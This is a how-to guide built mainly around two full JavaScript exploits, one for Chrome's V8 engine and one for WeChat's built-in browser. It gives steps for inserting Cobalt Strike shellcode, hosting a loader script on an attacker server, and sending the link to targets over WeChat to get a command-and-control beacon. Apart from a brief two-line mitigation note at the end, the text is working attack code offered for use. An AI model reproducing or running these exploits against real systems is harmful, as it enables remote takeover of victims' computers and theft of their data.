Exploiting Chrome and WeChat Zero-Day Vulnerabilities for Cobalt Strike Payload Delivery
Exploiting Chrome for Cobalt Strike Payload Delivery
-
Create the Exploit HTML File Save the following JavaScript payload as
chrome_exploit.html.<script> function triggerGarbageCollection() { for (let i = 0; i < 0x80000; ++i) { new ArrayBuffer(); } } const payload = []; // Insert shellcode here const wasmBinary = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]); const wasmModule = new WebAssembly.Module(wasmBinary); const wasmInstance = new WebAssembly.Instance(wasmModule); const wasmMain = wasmInstance.exports.main; const converterBuffer = new ArrayBuffer(8); const converterView = new DataView(converterBuffer); function getFloatLow(f) { converterView.setFloat64(0, f, true); return converterView.getUint32(0, true); } function getFloatHigh(f) { converterView.setFloat64(0, f, true); return converterView.getUint32(4, true); } function combineToFloat(low, high) { converterView.setUint32(0, low, true); converterView.setUint32(4, high, true); return converterView.getFloat64(0, true); } class ExploitBuffer extends ArrayBuffer { constructor(size) { super(size); this.marker = 0xb33f; } } function initVulnerableObjects(condition) { let val = -1; if (condition) val = 0xFFFFFFFF; const arr = new Array(Math.sign(0 - Math.max(0, val, -1))); arr.shift(); const localArray = [5.1, 0]; const buffer = new ExploitBuffer(0x1000); arr[0] = 0x1122; return [arr, localArray, buffer]; } for (let i = 0; i < 0x10000; i++) initVulnerableObjects(false); triggerGarbageCollection(); triggerGarbageCollection(); let [corruptedArray, rwArray, targetBuffer] = initVulnerableObjects(true); corruptedArray[12] = 0x22444; delete corruptedArray; function modifyBackingStore(high, low) { rwArray[4] = combineToFloat(getFloatLow(rwArray[4]), high); rwArray[5] = combineToFloat(low, getFloatHigh(rwArray[5])); } function leakObjectAddress(obj) { targetBuffer.marker = obj; return (getFloatLow(rwArray[9]) - 1); } const exploitView = new DataView(targetBuffer); const bufferPtrLow = leakObjectAddress(targetBuffer); const idx0Addr = bufferPtrLow - 0x10; const baseAddr = (bufferPtrLow & 0xffff0000) - ((bufferPtrLow & 0xffff0000) % 0x40000) + 0x40000; const delta = baseAddr + 0x1c - idx0Addr; let baseValue; if ((delta % 8) === 0) { const baseIdx = delta / 8; baseValue = getFloatLow(rwArray[baseIdx]); } else { const baseIdx = ((delta - (delta % 8)) / 8); baseValue = getFloatHigh(rwArray[baseIdx]); } const wasmInstanceAddr = leakObjectAddress(wasmInstance); modifyBackingStore(wasmInstanceAddr, baseValue); const codeEntry = exploitView.getFloat64(13 * 8, true); modifyBackingStore(getFloatLow(codeEntry), getFloatHigh(codeEntry)); for (let i = 0; i < payload.length; i++) { exploitView.setUint8(i, payload[i]); } wasmMain(); </script> -
Generaet and Encode the Payload Generate a Cobalt Strike shellcode payload and encode it to fit within the JavaScript array format.
-
Insert Payload into HTML Replace the empty
const payload = [];array in the HTML file with the encoded shellcode bytes. -
Trigger the Exploit The exploit is triggered when a target loads the HTML page in a vulnerible version of Chrome.
-
Establish C2 Session Upon successful exectuion, a beacon call-back to the Cobalt Strike team server is established.
Exploiting WeChat for Payload Delivery
-
Create the Exploit JavaScript (color.js)
const LOGGING_ENABLED = true; const IN_WORKER = true; let shellcode = []; // Insert shellcode here function log(msg) {} let dummyVariable = 0; const targetFunc = (function(value) { if (value === 0xdecaf0) { dummyVariable += 1; } dummyVariable += 1; dummyVariable |= 0xff; dummyVariable *= 12; }); for (let i = 0; i < 0x10000; ++i) targetFunc(i); let globalArray; const derivedClassCount = 17 * 87481 - 8; const inheritanceDepth = 19 * 19; function callback(flag) { if (flag === true) return; globalArray = []; globalArray[0] = 0x1dbabe * 2; return 'c01db33f'; } function forceGarbageCollect() { for (let i = 0; i < 0x10000; ++i) new String(); } function createMemoryPrimitive() { const self = this; this.memBuffer = null; this.memView = null; this.pageBuf = null; this.pageView = null; this.optPreventer = []; const SLOT_OFFSET = 0x1f; const BACKING_STORE_OFFSET = 0xf; class MarkerBuffer extends ArrayBuffer { constructor() { super(0x1000); this.tag = this; } } this.pageBuf = new MarkerBuffer(); this.pageView = new DataView(this.pageBuf); new RegExp({ toString: function() { return 'a'; } }); callback(true); class BaseExploitClass extends RegExp { constructor() { super( { toString: callback }, 'g' ); self.memBuffer = new ArrayBuffer(0x80); globalArray[8] = self.pageBuf; } } const derivedClassGenerator = eval(`(function generator(i) { if (i === 0) return BaseExploitClass; class Derived extends generator(i-1) { constructor() { super(); return; ${'this.x = 0;'.repeat(derivedClassCount)} } } return Derived; })`); forceGarbageCollect(); new (derivedClassGenerator(inheritanceDepth))(); this.memView = new DataView(this.memBuffer); this.readAddress = function(obj) { this.pageBuf.tag = obj; return this.memView.getUint32(SLOT_OFFSET, true, ...this.optPreventer); }; this.writeAddress = function(addr) { this.memView.setUint32(BACKING_STORE_OFFSET, addr, true, ...this.optPreventer); }; this.read32 = function(addr) { this.writeAddress(addr); return this.pageView.getUint32(0, true, ...this.optPreventer); }; this.write32 = function(addr, value) { this.writeAddress(addr); this.pageView.setUint32(0, value, true, ...this.optPreventer); }; this.write8 = function(addr, value) { this.writeAddress(addr); this.pageView.setUint8(0, value, ...this.optPreventer); }; this.writeBytes = function(addr, data) { for (let i = 0; i < data.length; i++) this.write8(addr + i, data[i]); }; return this; } function executeExploit() { const primitive = createMemoryPrimitive(); const funcAddr = primitive.readAddress(targetFunc); log('[*] Function address: 0x' + funcAddr.toString(16)); const CODE_INS_OFFSET = 0x1b; const codeAddr = primitive.read32(funcAddr + CODE_INS_OFFSET); log('[*] Code address: 0x' + codeAddr.toString(16)); primitive.writeBytes(codeAddr, shellcode); targetFunc(0); } try { log('Starting exploit...'); executeExploit(); } catch(e) { log(e); } -
Create the Loader HTML (test.html)
<script src="http://YOUR_SERVER/color.js"></script> -
Generate Payload Generate a compatible shellcode payload.
-
Insert Payload Replace the
shellcodearray incolor.jswith the generated payload bytes. -
Deliver the Exploit Send the
test.htmllink to a target user via WeChat. -
Establish C2 Session Upon execution in a vulnerable version of WeChat's built-in browser, the shellcode executes, calling back to the Cobalt Strike server.
-
Mitigation Recommendations
- Update Windows WeChat to version 3.2.1.141 or later.
- Avoid clicking on untrusted links from unknown sources.